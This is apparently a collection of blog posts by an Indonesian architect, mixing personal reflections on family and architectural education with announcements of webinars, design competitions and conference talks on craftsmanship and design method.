Besoknya saya mengajak bicara mereka soal ketiga hal ini, dan hal ini juga saya alami di studio bahwa untuk maju setiap lingkungan membutuhkan evaluasi dan regenerasi. Seperti pohon besar yang tumbuh yang membutuhkan regenerasi, memang perlu dipotong ataupun terpotong karena keadaan supaya pohon – pohon kecil di sekitarnya bisa tumbuh. Dengan memaklumi hal ini, melihat apa yang terjadi di sekitar pengrajin memang ada dua tipe pembelajar bangunan, tipe yang pertama adalah tipe pengrajin, disini sifat patronisasinya dominan yang diperlihatkan, dengan keahlian – keahlian yang melibatkan teknik bereksperimen dan memiliki struktur seperti pohon besar. Tipe kedua adalah tipe pekerja yang melibatkan teknik yang sudah ada / repetitif mengikuti apa yang menjadi standar baku, di kelompok ini patronisasinya bisa jadi berubah menjadi sebuah platform terbuka berbentuk rhizoma dimana ada transparansi, dengan syarat yang masuk di dalam lingkungan kerja mereka adalah orang – orang yang memang sudah ahli. Keduanya memiliki perbedaan cara bekerja, berkordinasi, transfer ilmu, dan membagi ekonomi. Meskipun demikian ada banyak hal yang menjadi rahasia masing – masing, biarlah itu menjadi urusan kantong sendiri – sendiri.
Seperti satu saat Abidin Kusno yang menulis buku Melawan Waktu memulai dengan tulisan yang merupakan suatu bentuk melawan waktu itu sendiri, Perlawanan itu bisa diibaratkan melalukan negosiasi waktu, dan bagaimana beliau mengisi kehidupan yang sementara ini dengan mencoba merubah keadaan dengan diskursus arsitektural. Bahwa perubahan itu wajar, hal ini adalah sebuah proses dari titik, menuju garis.
Perlawanan waktu ini bisa diibaratkan juga seperti orang yang melalui perjalanan menghitung mundur, dan identik juga dengan proses kelahiran – kematian, kejadian ulang tahun, setiap tahun berulang – ulang, dengan rambut yang semakin memutih, teman – teman yang datang, tinggal, pergi silih berganti, keluarga besar dan anak yang semakin besar. Ulang berulang adalah sebuah rutinitas yang menjadi kebiasaan dan karakter, sederhananya proses hidup, apa yang kamu ulangi itulah karaktermu. Proses pembentukan karakter ini akan membentuk Gift Society. Sebuah lingkaran yang saling memberi yang dimulai dari diri sendiri, self criticism, respek kepada orang lain, dan mengulang – ngulangnya sehingga menjadi karakter yang dimulai dari lingkaran keluarga dan diri sendiri.
Hal – hal inilah yang membuat kadang saya membanting setir, kanan – kiri, gas dan rem, keluar-masuk di dalam menulis buku, keluar-masuk ke penelitian, keluar-masuk dari proses disertasi, keluar-masuk ke kelompok praktik, keluar-masuk dari kelompok belajar, ataupun apapun yang terkait hubungan antar-personal, bahwa pada dasarnya mempertanyakan apa sih yang layak untuk dilakukan untuk waktu yang sedemikian terbatasnya.
“Papa I want to be like you”… Miracle menghampiri saya satu saat ketika saya sedang bekerja di ruang kerja yang berbatasan dengan kamar tidur kami. Untuk masuk ke ruang kerja itu harus melewati pintu putar berupa lemari yang bisa berputar dimana ia mengintip dibalik sela – sela pintu putar tersebut.
“Hei, kamu ngapain ?” kata saya, “come here” saya membiasakan berbicara dua bahasa dengan Miracle. Saya memangku dia untuk memperlihatkan apa yang sedang saya kerjakan, dan berbagi bagaimana memencet tombol keyboard ataupun berinteraksi dengan layar sentuh. Saya melanjutkan “You will be better than papa, we are proud of you.” Dari lingkaran terkecil kami berupa donut, saya menarik nafas semoga semesta memberkati kita semua, dan memberikan rasa slamet, sehingga kehidupan kita, saya doakan menjadi lebih bersahaja, menenangkan, damai dan tenteram.
Di usia ke 39 ini, saya belajar untuk lebih memberi kepada orang lain, tidak untuk dibalas kebaikannya namun karena memang sudah sepantasnya kita memberi. Berbuat tidak untuk dilihat, bernyanyi tidak untuk didengar, berdansa tanpa mengharap tepuk tangan, bertindak tanpa mengharap hadiah.
“Papa please don’t work today, where are you going ?” Miracle mengintip dibalik pintu, karena melihat saya turun tangga.
“Sebentar I will come back in a few minutes.” (ada beberapa tukang sudah menunggu, pak ini detailnya bagaimana.) “Is there someone below ?” Miracle bertanya, saya menjawab, “sebentar ya, sabar few minutes.” Miracle berteriak, “Semangat pa”
Hadiah dari Tuhan untuk saya di umur 39 ini, Laurensia, Miracle, Heaven yang memberikan filosofi donat. Seperti Filosofi Donat bahwa setiap orang memiliki keteduhan di lingkaran terkecilnya. Tidak ada yang manusia yang ditakdirkan menjadi titik yang sendiri. Ada lingkaran membentuk donat yang saling merajut, dari titik, kemudian menjadi garis untuk menjadi lingkaran yang saling menjaga.
Kembali ke pertanyaan pertama,”Yang, besok ulang tahun mau dibuatin apa ?” Laurensia bertanya.
Saya menjawab “Donat ^^”
Terima kasih Tuhan, Terima kasih Tuhan, Terima kasih Tuhan untuk memberikan Laurensia, Miracle, dan Heaven yang sudah membentuk donat keluarga kecil kami juga beserta kawan – kawan tempat kami berkarya bersama. Tuhan memberkati.
[1] Proses persiapan adalah proses pertama di dalam studi mengenai kreativitas, hal ini digagas oleh Wallace di dalam buku Art of Thought dengan tahapan preparation, incubation, illumination, verification.
[2] Inspirasi : Satu kawan saya mengingatkan ketika kita berdiskusi soal arsitektur untuk menghargai soal kekuatan berproses dan jalan masih panjang, “Terkadang kita lupa untuk bersyukur dibalik seluruh proses yang ada.” Saya teringat juga suatu waktu, Wastumiruda (saya menyebutnya Kungkang pemabuk yang bijaksana) atau mas Anas yang bercerita tentang hakikat respek terhadap diri sendiri ini. “KAS ( Ki Ageng Suryomentaram) itu seperti Bima dlm cerita Dewa Ruci…Bima yg benar2 ada…Ya dia mencari kebenaran gk ke mana2. Ya dari dirinya sendiri. Betul. Kan ceritanya perjalanan jauh, tp itu hanya kiasan. Justru diri sendiri ini yg sebenarnya sangat jauh. Krn orang sering lupa, sibuk meniru orang lain. Jika kamu menghadap ke utara, apa yg paling jauh di utara sana ? Ya punggungmu, karena bumi ini bulat. Lawan terkuat sebetulnya ya diri sendiri. Kalo dari sloki (tahap kemabukkan) ya sloki ke 10: dasa buta (nama tingkatan kemabukkan terakhir) … mati. Balik nol lagi. Maka di Jawa yg utama adalah Slamet (selamat), bukan bener (benar).
[4] foto – foto diambil oleh Jeffri Hardianto (Pepen) dari House of Photographers.
lingkaran contoh lingkaran donat di bidang musik yang dibentuk oleh Gita Gutawa dan Erwin Gutawa yang menaruh cita di tangan anak – anak muda Indonesia.
This writing is for Archidiaries’s venue, Reflections#2 which I have prepared a writing and book about it. It’s a reflective journey to find discourse between practice and pedagogy. The both of streams colors my practice in RAW Architecture and more discouses in Omah Library.
There is a reflection that the young generation forgets the old wisdom that can teach us about the building technologies of the past. This old wisdom forms a bricolage architecture. It is an understanding that, to design and build something out of the land, you need to find the roots of Local Genius people. This concept explores how architecture should be tested by the optimization of local resources, building technology, and the implementation method, which together build the structure of local genius.
This presentation explores the root and progression of the social structure that cultivates the building tradition, manifested in generations of traditional craftspeople. It is not limited to the debate of how we should preserve the form of modern architecture, but it rather discusses the evolution of future architecture with the spirit of modern architecture by the introduction of a model of craftsmanship – a total adaptation of craftspeople, architect, builder, and client into one holistic ecosystem. It’s a humble and honest attempt to reflect on RAW Architecture Practice in Indonesia – Forming Bricolage.
I was invited by UII (Universitas Islam Indonesia) to discuss the importance of theory in practice, it’s a way to redefine what the commitee called Nusantara as Inspiration. The content is about how the literature, body of work, and critical thinking will provide fundamental innovation in redefining discourse between practice and theory.
I was happy because my fellow librarian, Satria is presenting his view about how desa – kota, formal – non formal color the practice. It’s forming a reflection about how agency might affect the practice in architect.
Saya mengawali judul materi kali ini dengan sebuah judul “Melihat 70 tahun pendidikan arsitektur di Indonesia Suara dari jiwa – jiwa yang tidak kenal lelah.”Saya lulus di tahun 2005, mulai masuk ITB di tahun 2000. Pada waktu saya belajar arsitektur di tingkat dua, saya ingat oleh pak Eko Purwono diajak untuk mensketsa bangunan yang didesain oleh Henri Maclaine Pont, ada perasaan berbeda, yaitu penggunaan materialnya lokal, konstruksinya yang jujur, dan ada rekayasa teknik untuk mengaktualisasikan bentuk bentang lebar. Dari situ saya mulai jatuh cinta dengan arsitektur dan tidak pernah berpikir berhenti memikirkan arsitektur satu hari pun. Pertemuan dengan pak Eko Purwono dan Henri Maclaine Pont menjadi penting.
. Pertemuan saya dengan Pak Baskoro Tedjo, Pak Ridwan Kamil dan dosen – dosen lain di tingkat setelahnya menjanjikan sebuah lompatan selanjutnya, saya ingat, beliau berkata
“kamu bisa, buat lebih baik lagi”
dan saya ingat itulah sebuah kekuatan yang mendorong membuat saya terpacu untuk ikut menyemangati teman – teman yang lebih muda. Saya ingat untuk tidak pernah lelah untuk lebih baik lagi. dan hal itulah yang mendasari judul kali ini, yang membuat saya membagikan kuesioner ke anak – anak muda dan semua orang lain testimonial mengenai pendidikan kita, hanya karena saya ingin tahu apa sih yang dipikirkan orang lain soal kondisi pendidikan kita sekarang. Teman saya yang berasal dari Serawak bernama Wendy Teo, memberikan masukan kepada saya untuk terus semangat pantang menyerah mewujudkan suatu hal yang kita anggap ideal. Ia berkata,
“If you want to stand for something and you’re someone, if you don’t stand for anything then you’re no one.”
Dari sudut pandang sebagai praktisi di praktik kami RAW Architecture, proses untuk maju bisa dilihat dari 3 buah posisi, yang pertama adalah pentingnya wacana untuk mengkonstruksi hal yang lebih positif .
Materi dari 4 pemateri menyajikan 3 hal yang yaitu mengenai isu setting, ritual, dan memory. Pemaparan ini sebenarnya adalah sebuah reaksi utnuk melihat tegangan yang ada antara ITB sebagai pihak yang merayakan ulangtahun dan melihat bahwa desain berbasis inovasi dan ilmu pengetahuan ini menjadi penting dan kritis untuk masa kini. Sebelum pak Adhi Moersid meninggal kami menginterview pak Adhi, dan melihat bagaimana dahulu ketiadaan pengajar, bagamana pada saat itu mengejar ketertinggalan yang menjadikan pengajaran masuk ke ranah teknis. Hal tersebut menyisakan gap atau celah yang dibahas juga oleh Aswin Indraprastha bagaimana menutup gap tersebut. ada dua hal untuk melihat gap tersebut, gap sebagai sebuah hal yang mengkhawatirkan ataukah gap tersebut adalah sebuah berkat. Di dalam presentasi kedua, presentasi Donny Koerniawan memaparkan bagaimana aktor – aktor yang terlibat di keilmuan perlu untuk merendahkan hatinya untuk merajut antar bidang keilmuan, bahasa beliau adalah menyerahkan axioma keilmuannya untuk bersatu membentuk ilmu baru. . Presentasi ketiga dari Sonny Sutanto mungkin justru menampar lagi posisi mendesain, titik inovasi dari sudut pandang ekonomi, yakni ketika produksi sudah begitu murah dimana posisi ide, saya ingat di sesi omah library, Rizal Muslimin membahas hal ini dimana manusia perlu terus berinovasi untuk bisa mereposisi dirinya dari replikasi dan representasi komputasi dari bahasa mesin. Di presentasi ketiga Gusti Ngurah Antaryana menyajikan sebuah potensi akan sebuah hal yang sudah pernah ada, dan sekarang ekosistem yang merdeka ada di depan mata, lalu apa reaksi kita ? pertanyaan ini terus berkelindan di kepala saya ketika mendengarkan 4 pemaparan material ini. Saya pikir mungkin jalan keluarnya ada di ritual yang dijalankan, atau mudahnya eksekusi apa yang akan menjembatani tataran teoritis dan eksekusi atau metode yang dilakukan di dunia nyata yang tidak abstrak. Sebagai contoh di dalam pandemi ini justru kami di studio menjalankan praktik melalui gambar tangan, karena tatarannya adalah konsepsi, perspektif juga dilakukan dengan gambar tangan lalu sampai ada komitmen baru ditransfer ke tools, jadi ada strategi yang perlu dilakukan. .
Wacana ketelanjangan akibat ekosistem ditunjukkan oleh provokasi yang digagas oleh Marina Abramovic. Selama pertunjukan Abramovic dengan sengaja menjadi pasif, mengubah dirinya menjadi benda hidup demi seni. Dia memutuskan bahwa dia akan berdiri dengan tenang di galeri selama enam jam, di mana penonton diundang untuk menggunakan salah satu dari 72 objek di atas meja di ruangan itu untuk berinteraksi dengannya. Benda-benda itu berkisar dari bulu, kue coklat, minyak zaitun dan mawar, hingga pisau, gunting, pistol, beberapa peluru dan rantai. Instruksi di atas tabel berbunyi: Kinerja. Akulah objeknya. Selama periode ini saya bertanggung jawab penuh. Durasi: 6 jam. Selama enam jam, dia menyerahkan hidup dan tubuhnya sepenuhnya ke tangan orang asing, mengubah dirinya menjadi objek untuk digunakan, seperti yang diinginkan. Selama waktu ini dia setuju untuk tetap pasif, dan tidak responsif sampai eksperimen selesai. Abramovic memutuskan bahwa dia akan mengamati dengan tenang dan lemas. Untuk penonton, tidak ada konsekuensi langsung. Menurutmu, apa yang terjadi ?
Ia berakhir di dalam kondisi setengah telanjang, terluka.
Hal ini sebenarnya memunculkan tingkatan interpretasi selanjutnya dari sebuah pemikiran yang tidak hanya cantik, saya berintepretasi bahwa pemikiran yang menutup gab tersebut membutuhkan sebuah pemikiran yang tidak hanya ekspresif dan perlu untuk menggelontorkan wacana yang diskursif, dari sini saya pikir wacana untuk bertindak aktif dan tidak pasif akan penting, bagaimana yang pasif akan ditelanjangi, tidak berdaya, dan menunjukkan derasnya informasi dan kemajuan memungkinkan terjadinya ketelanjangan tubuh kita.
Di dalam bertindak aktif ada 3 hal yang bisa dipikirkan seperti, yang pertama adalah Setting yang bisa didefinisikan sebagai Kondisi sebelum wacana tersebut digulirkan yang melibatkan proses pembacaan relevansi terhadap problematika yang terjadi (Konteks) Ritual yang bisa didefinisikan sebagai tindakan – tindakan untuk mengaktualisasikan wacana tersebut yang melibatkan proses aksi – reaksi (praksis). Di dalam proses ini sebenarnya terlibat lebih jauh ranah – ranah keilmuan. Memory yang bisa didefinisikan sebagai Hasil dari Wacana yang sudah menjadi milik publik yang ditandai akan pergeseran/pendalaman/penolakan akibat proses dari aksi reaksi yang muncul dengan repetitif. IAI sebagai asosiasi profesi pun dibentuk dengan sebuah setting, dengan melihat konteks apa yang terjadi disaat itu , dimana di tahun 1960 an ada instruksi dari pemerintah untuk membentuk gabungan perusahaan untuk menunaikan tugas membangun. Hal ini kemudian dilanjutkan dengan konferensi seperti mungkin yang sedang kita lakukan sekarang, dan disitulah ada sebuah wacana ketidakpuasan, bahwa kedudukan perencanaan dan perancangan tidaklah sama dan tidak juga setara dengan pelaksanaan, ada harga diri yang dipertaruhkan yang berbeda dengan bisnis komersial yan gkeberhasilannya diukur dengan besarnya laba. Lalu pada waktu itu Ir. Soehartono susilo dan Friederich Silaban meneruskan pemikiran yang radikal (ketidakpuasan) tersebut dengan menggalang para arsitek muda dan mengadakan pertemuan – pertemuan lanjutan, di tahun 1959 dihadiri oleh 21 orang, dan selanjutnya di jalan wastukancana di rumah Lim Bwan Tjie, dan akhirnya di tahun 1959 tersebut muncullah Ikatan Arsitek Indonesia. . Hal ini adalah hasil dari sebuah kegelisahan, muncul dari yang muda, ada integrasi dari sistem dan di luar sistem, dan mereka memiliki energi / sumberdaya untuk berpikir lebih dari kebutuhan sehari – hari. . Salah satu konteks ekonomi yang bisa langsung terasa dalam praktik adalah bagaimana akses terhadap industri software berlisensi misal, kalau menggunakan gambar tangan itu masih gratis, namun apabila melihat dokumen autocad harga 1521 USD, sketchup 649 USD, 3dsmax 1620 USD, REvit 2425USD, Rhino 995 USD ) total satu tahun pertama dibutuhkan kira – kira 110 juta. sedangkan untuk standarisasi gaji di Indonesia, dengan 4,5 -6 jt misal untuk anak – anak yang baru lulus kira – kira sisa gaji hanya 34 juta, setelah dipotong dengan kebutuhan sehari hari. Apabila misal gaji sekitar 10 juta, baru bisa mengakses setelah 2 tahun menabung, dan setelah beli software tidak ada uang tabungan lagi. Lalu pertanyaannya bagaimana kita menjembatani hal ini. Saya ingat china memiliki software cadnya sendiri, dan pertanyaannya bagaimana hal ini bisa dibantu utuk dijembatani ? inilah konteks kita yang menjadi setting, lalu apa wacana yang perlu digelontorkan ? mungkin share resources menjadi penting, pembuatan platform yang menembus batas.
. Jadi apabila kita semuan ada di sebuah setting dan wacana, lalu apa ritualnya ? mungkin yang penting adalah kecepatan yang menjadi kuncinya, untk merangkul elemen yang tidak hanya ceklist, berbicara antar relasi, antar wilayah, merangkum ulang relasi – relasi yang bhineka. Acara ini adalah permulaan. titik yang penting adalah merangkul yang muda, integrasi sistem, gelisah, dan memiliki energi lebih.
. Kami di omah library berusaha sekeras mungkin untuk membentuk iklim ekosistem literasi yang baik dengan membantu penulis – penulis, mempermudah jalan, menyambung rasa antar generasi, antar librarian, pemateri, antar peserta, dari situ diharapkan bisa ada sebuah ekosistem yang mengayomi, kolaborasi, keguyuban, kerendahan hati untuk berbagi dimana yang penting adalah bagaimana teori, wacana, kritisme yang terjadi di dalam diskusi kita kali ini bisa berbuah inspirasi yang akan mewarnai lingkup praktik ataupun akademik yang mempengaruhi suasana belajar – mengajar untuk membentuk pribadi yang rendah hati dan mau selalu belajar membentuk budaya ajar mengajar yang diskursif, sebuah proses yang membuka jalan.
Perjalanan Ki Ageng Suryomentaram bisa diibaratkan sebagai analogi perjalanan Pendidikan arsitektur di Indonesia. Kondisi perkuliahan arsitektur yang hanya fokus pada kemampuan teknis seperti penanaman tugas dan tanggung jawab, etika berprofesi, estetika, budaya, dan sosial, membuat arsitek akan mengalami titik dimana ia akan mengalami kegelisahan mendalam terhadap jiwanya. Keprofesian ini akan menjadi membosankan karena berjarak dengan realitas sendiri dan menjadi pengetahuan normatif saja karena hilangnya kerendah-hatian oleh karena itu mari bersama – sama merajut dengan bergotong – royong, Ohana means family, family means nobody gets left behind or forgotten.
Saya berbicara mengenai refleksi di acara diskusi pendidikan arsitektur. menit 2.58 – 3.08
Saya ingat dulu anak – anak universitas Gunadarma pertama kali mengadakan acara di taman samping rumah orang tua saya, ada 60 orang, mereka mempersiapkan acara dengan riang gembira hanya ingin mendengar satu kuliah dari Mas Barani. Beberapa saat kemudian bersama David Hutama, kami menggagas kuliah seri Omah pertama dan ide How to Think Like an Architect muncul. Acara pertama lancar, kedua lancar, ketiga lancar, keempat hadir hanya 10 orang, acara kelima sukses hadir hanya 3 orang, bahkan satu saat staff kamk saya sms untuk datang ke studio dan ikut acaranya. Hal ini kontras dengan 5 tahun kemudian acara webinar yang bisa sampai mengundang ratusan orang. Pertanyaannya, apakah meledaknya partisipan itu yang dicari ? mungkin itu barometernya. Seperti ketika orang bertanya, berapa jumlah orang di studio kamu ? yang sebenarnya untuk mengukur barometer pendapatan, kapabilitas studio juga. Satu saat saya disadarkan oleh paman saya.
“Terus gali apa yang kamu cari, passion, keluarga, ilmu dan jangan terlena dengan harta, publikasi, ataupun tahta.” (Mungkin ada kemiripan dengan harta, tahta, Renatta yang sedang viral, lol)
Meskipun terlihat riuh rendah, dunia ini sepi kawanku, bagaimana bisa berkontemplasi begitu dunia begitu riuh. Mata – mata saling melihat, kuping – kuping terus mendengar. Inilah Lawang Kala (pintu waktu) yang baru, kita sudah memasuki jaman baru. Dan herannya saya baru sadar, kok ya baru sadar. Untung ada paman saya mengingatkan,
Saya baru menyadari, saat ini saya rindu akan kehangatan kawan – kawan yang dulu saya rasakan ketika menghabiskan waktu di Goldiers Green, Hampsted Heath dan juga saat – saat yang berkesan adalah saat saya dan Laurensia berkunjung ke negara Finlandia salah satu negara yang memiliiki ekosistem desain mengandalkan bermain – main di dalam fase mendidik anak, hal ini di dasarkan common sense bahwa ada relasi yang patut untuk dijaga, relasi akan mimpi.
Di dalam 5000 teman maksimal yang ada di Facebook, berapa orang teman kamu sesungguhnya ? dan beribu atau berjuta orang yang mengikutimu di Instagram, berapa yang benar – benar perhatian kepadamu ? Salah satu tujuan menjalin relasi adalah sisi bisnis, atau memperkenalkan diri untuk menggapai eksistensi. Selain ada juga yang bertujuan untuk bersilahturahmi dengan sahabat lama, tertawa, bersenda gurau dimana lingkaran pertemanan masih kecil. Di saat – saat ini, begitu banyak pertanyaan, apa masih berguna presensi social media kita ? Jadi seberapa mau saya mengubah hidup saya ? Baru hari ini saya bertemu dengan Airin Efferin dan Setiadi Sopandi, dan mereka bercerita tentang proses pembuatan buku Sketches and Regrets. Saya melihat kekuatan proses, memberi dan menerima, tanpa melupakan jejak jiwa. Menariknya hal ini yang saya lihat langka, menjadi personal sekaligus professional. Cerita Airin dan Setiadi Sopandi adalah cerita mengenai sepatu orang lain, dimensi efek arsitektur terhadap kehidupan orang lain, bukan hanya ajang promosi diri. Di karya tulisnya ada kejujuran yang menohok belakang kepala saya untuk bisa terus berefleksi bahwa relasi menjadi penting.
btw, ini IG Live pertama Omah Library yang sebenarnya masih pemula. Photo by Mathias P.R. Reding on Pexels.com
Setelah itu saya memposting dua postingan di facebook satu untuk berterima kasih akan acara Design United dengan beberapa kawan lain termasuk Anna Herringer, Wendy Teo dan lainnya, setelah itu ada lagi postingan untuk Airin dan Cung. Setelah itu ada permintaan memasukkan email dan password, saya refresh screen facebook saya error, email saya berubah, password saya berubah, beberapa permintaan teman terkirim untuk orang – orang yang saya tidak ketahui, saya mengirim email ke facebook untuk mendeaktifasi acc facebook saya. Anggap saja ini jalan semesta, ha ha ha, toh sudah lama saya malas untuk mengupdate facebook, sambil nungguin recovery, ada – ada aja, lucu sekali dunia ini.
.
Miracle sedang main game yang dikirimkan oleh Miss Atika di sekolah.
HP saya ambil dan saya memanggil sahabat lama saya,
“Bro, apa kabar?”
di satu sisi ia terdengar setengah tertawa dan saya pun tertawa kembali.
“eh kampret katanya, lo kemana aja”
Disitulah kita tertawa tergelak – gelak sambil bernostalgia, atau tepatnya bernostalgila, sambil di sebelah saya, anak saya Miraclerich yang berusia 5 tahun sedang membuka game Mobile Legend dan terdengarlah suara
I was invited by Design United, they are young and promising platform which curious about how architecture make a profound impact on humanity. In the venue there will be Anna Herringer and my fellow friend Wendy Teo, and many more architects that I look up to (you can scroll their name below).
Here is the news from the Design United’s Committee :
Design United’s first Design Conference
We are uber-excited to be hosting Design United’s first Design Conference on the 15th of November with talented designers & artists. We will explore examples of small yet meaningful design efforts and their potential for lasting impact.
We are joined by Ar. Anna Heringer of Anna Heringer Architecture-Germany, Ar. Jan Glasmeier of Simple Architecture-Thailand, Ar. Khondaker Hasibul Kabir of Co.Creation.Architects-Bangladesh, Ar. Wendy Teo of Borneo Art Collective-Malaysia, Ar. Goy Zhenru of Goy Architects-Singapore, Ar. Realrich Sjarief of RAW Architecture-Indonesia, Compartment S4-India along with amazing designers, Dhiraj Manandhar of Manankaala Design Studio-Nepal and Ayaka Yamashita of EDAYA-Philippine.
The session is moderated by young architects and architecture students: Vaissnavi Shukl, Tejaswini Krishna, Huzefah Haroon, Amrit Phull, Vrinda Kanvinde, Ayush Gangwal, Chinar Balsaraf and Priyanka Shelke.
1.20.00 – Photography for Architecture or Architecture for Photography ?
Di dalam acara bincang – bincang yang diadakan oleh Jayaboard ini, dengan judul “Reflection of the City”. Saya akan melanjutkan pembahasan fotografi dan desain dari dua kawan saya @mariowibowo_ dan @ryansalim mengenai Arsitektur ke dalam dualisme keadaan yaitu representasi, provokasi di dalam pembentukan sebuah wacana reflektif. . Seperti misalnya pandemik ini di arsitektur ini mencerminkan situasi yang sangat kontras, di satu pihak adalah realitas bencana dan di satu pihak membuka celah untuk berinovasi. Keadaan – keadaan ini kemudian dibingkai oleh sang pembawa cerita, salah satunya fotografer, arsitek, dan desainer kemudian membuat karyanya menjadi sebuah jalan cerita yang maha dahsyat soal kemungkinan positif di masa depan. Hal ini ditujukan untuk membingkai realitas pandemi yang ada, ataupun malah timbul fenomena untuk menutup realitas yang ada sebagai sebuah utopia yang kemudian bisa membuat momen untuk kita merefleksikan diri mengenai kekuatan sebuah citra. . Photography dan arsitektur merupakan dua dunia yang saling berkaitan. Arsitektur memiliki unsur seni dalam proses perancangan sebuah desain bangunan, dimana konsep bangunan tersebut akan menghasilkan nilai estetika tersendiri dalam setiap komponen desainnya. Sama hal-nya dengan dunia Photography, memadukan teknis pencahayaan dengan sebuah wujud fisik mengandung nilai seni tersendiri bagi penikmatnya. Jayaboard memberikan wadah untuk membentuk komunitas inspiratif bagi penikmat dunia arsitektur maupun photography dalam webinar Connecting Minds, Explore The Possibilities: Reflection of The City.
Jayaboard berkolaborasi dengan Mario Wibowo (Mario Wibowo Photography), Ryan Salim (Erreluce Lighting Consultant) dan Realrich Sjarief (RAW Architecture) akan membahas tips & trick hingga trend dalam dunia Architecture Photography dan pentingnya Photography dalam dunia arsitektur. . Rabu, 11 November 2020, Pk. 19.00 WIB (Zoom Webinar) . Lihat lanjutnya di ac @jayaboard_ig daftar di : http://bit.ly/connexrcsm
Thank you Gede Mahaputra untuk inisiasi dan undangannya, juga untuk seluruh panitia dari Universitas Warmadewa.
Dua sayembara untuk mengakhiri tahun 2020 dari Prodi Arsitektur Universitas Warmadewa dan HMA Sanatanadharma. Himpunan Mahasiswa, menyelenggarakan sayembara nasional dengan tema Pasar Tradisional di masa dan setelah pandemi Covid-19. Pemenang akan mendapatkan reward dan piagam penghargaan Sedangkan dari Prodi, bekerjasama dengan Nansha Birdpark dan South China University, menyelenggarakan kompetisi internasional desain dan konstruksi bambu. Pemenang akan mendapatkan hadiah, piagam serta 2 tim pemenang berkesempatan untuk mewujudkan karyanya di Nansha Birdpark, China. Silakan melihat poster untuk detail, pendaftaran, serta pemasukan karya.
Arsitek dan klien dimulai dari sebuah hubungan timbal balik. Lalu bagaimana memulai sebuah hubungan jangka panjang dengan klien. Apa saja yang harus dilakukan, judul yang dipilih oleh panitia cukup menantang. Pertanyaan – pertanyaan seperti ada ngga sih karakter yang membentui satu klien ke klien satu lagi, tipe perusahaan misal, atau klien personal, atau bangunan publik ? Apa saja yang perlu dilakukan, apa yang perlu dijaga, dan apa yang perlu dihindari. Perhitungan atau formula – formula apa saja yang bisa dijadikan parameter yang bisa disepakati. Mungkin dari sinilah kecocokan akan bisa terjalin dan arsitekturnya pun bisa unik dan bisa saling “memberi” juga “menerima” di dalam algoritma yang kontributif. . Ini saya bantuin panitia, semoga sukses ya panitia acaranya. 🙏 . Seminar Arsitektur “The Sketch of Your Client Algorithm” 🗓 4 November 2020, 17:00 – 18:30 WIB Via Zoom . 👉🏻 Pesan E-TICKET DISINI: loket.com/event/seminar-arsitektur Atau klik link di bio kami! FREE ADMISSION TIKET TERBATAS! Terbuka untuk umum Instagram : @im.a.go . #UMN#Pameran#Virtual#FSD#DKV#VBD#ID#Branding#Interaction#Film#Animasi#Arsitektur#RealrichSjarief#Seminar#Talkshow#Screening#BedahKarya#tugasakhir
Terima kasih untuk SAPPK ITB yang sudah mengundang saya untuk menjadi penanggap di dalam acara “70 tahun Pendidikan Arsitektur di Indonesia”
Terima kasih untuk SAPPK ITB yang sudah mengundang saya untuk menjadi penanggap di dalam acara “70 tahun Pendidikan Arsitektur di Indonesia”
Dalam rangkaian acara Peringatan 70 tahun Pendidikan Arsitektur di Indonesia, Program Studi Arsitektur, SAPPK menyelenggarakan acara diskusi panel bertajuk: Menuju Desain Berbasis Pengetahuan dan Inovasi (Towards Knowledge-based and Innovative Design) secara daring pada Sabtu, 31 Oktober 2020.
Acara ini diikuti oleh sekitar 150 peserta yang berasal dari kalangan akademisi, profesional, dan mahasiswa dan menampilkan empat pembicara dan empat penanggap yakni:
Para Pembicara:
Aswin Indraprastha, PhD dari Program Studi Arsitektur ITB
Eng Moch. Donny Koerniawan dari Program Studi Arsitektur ITB
Sonny Sutanto, IAI dari profesional
I Gusti Ngurah Antaryama dari Program Studi Arsitektur ITS
Para Penanggap:
Harris Kuncoro dari InPlace Design, USA
Hari Sungkari dari Kementerian Pariwisata dan Ekonomi Kreatif
Realrich Sjarief dari RAW Architecture
Sammaria Simanjuntak, sutradara film.
Moderator: Dr.- Ing Hmasari Hanan, MAE.
Acara ini membuka kembali diskusi tentang disrupsi teknologi dalam proses desain arsitektur dan pendidikan arsitektur, kompetensi lulusan arsitektur dan peluang-peluang baru sebagai akibat perkembangan industri 4.0.
Thank you for the Organizing Committee of the VII International Construction Forum and Expo 100+ TechnoBuild 2020 for the invitation. I will present two topics about Craftmanship – the possibility to shape it to more critical identity and Methodology Grammar. The 100 + expo is a major Russian engineering and construction congress combining conference and exhibition of cutting-edge achievements in the industry that will take place in the city of Ekaterinburg on October 6–8, 2020
Here is the more detail explanations of the topics,
First one: Redefining High Level of Craftmanship in Local and Global Identity.
The issue of Architecture in Indonesia is still a political one. As a country with a history of colonization, the dichotomy of the past and the future is not only about the intervention of technology into the practice of craftsmanship, but also about making sense of our local identities in representing the nation as a whole. With a lot of different faces of local identities, we are still struggling in defining a collective identity in Architecture. In response to this, the speaker will speak about case study in Realrich Architecture Workshop in the need to be aware of the various issue surrounding their work, which stems from a deeper level of understanding towards crafts and material cultures, and to be able to create a work that is relevant to those issues. Architects also need to be able to work collaboratively with other disciplines towards a solution. This critical approach in practice is what is called a high level of Architecture Craftsmanship. It means to go beyond just one generic architectural layer to the indigenous approach of design solutions.
I will discuss the difference in our practice on 1.Identity is formed over a long time?
The identity is contemplative, the evaluative secret that resides in every personal soul.
Identity is a unity between ideas and portraits.
4.Ethics is one of the identities, the bridge of conduct which has 3 aspects: good, correct and beautiful, which is shown by the resulting product as a means of self-actualization.
5.Social media becomes a distraction as well as a potential for recognition and identity integrity, where Literacy activities are important for building deep identity. .
Methodology Grammar for Sustainable Design, A Reflection on Radical Practice. The practice of architecture is never separated from the study of methods. In each project, the design process includes numerous iterations from conceptual until the construction phase, in order to create a methodology to be devised in the future for better design performance. This does not always mean using better technology, but starting from the most simple method of obtaining available data and information available on site. From the various study, research, and design permutations, the most optimal design responding to the brief, site, programming, local environment, and material. The speaker proposed a grammar of methodology to create an optimum method of design which can contextualize design to be adaptable to specific design context. The Methodology is about phasing from conceptual to Implementation of the design, as well as details on site, also become important aspects. The study of the combination of local materials and tectonics with design technology is done in order to create better roots in design which forms radical practice.
I will discuss the difference in our practice on
What is the difference between strategy and method?
The method is a bridge of innovation from theory to practice in a logical way
The Method is procedural (has a harmonious bridge between ideas and images)
Methods may have biases, it should be noted that methods differ from stimuli. Art when separated from the building is a stimulus, as well as a building when separated from art, is a stimulus. Art and Building being separated from the building is a stimulus. Matters related to the origin of ideas are a stimulus.
The method has specific, actual, tangible product limits that can be dissected based on the 7 elements of the design method.
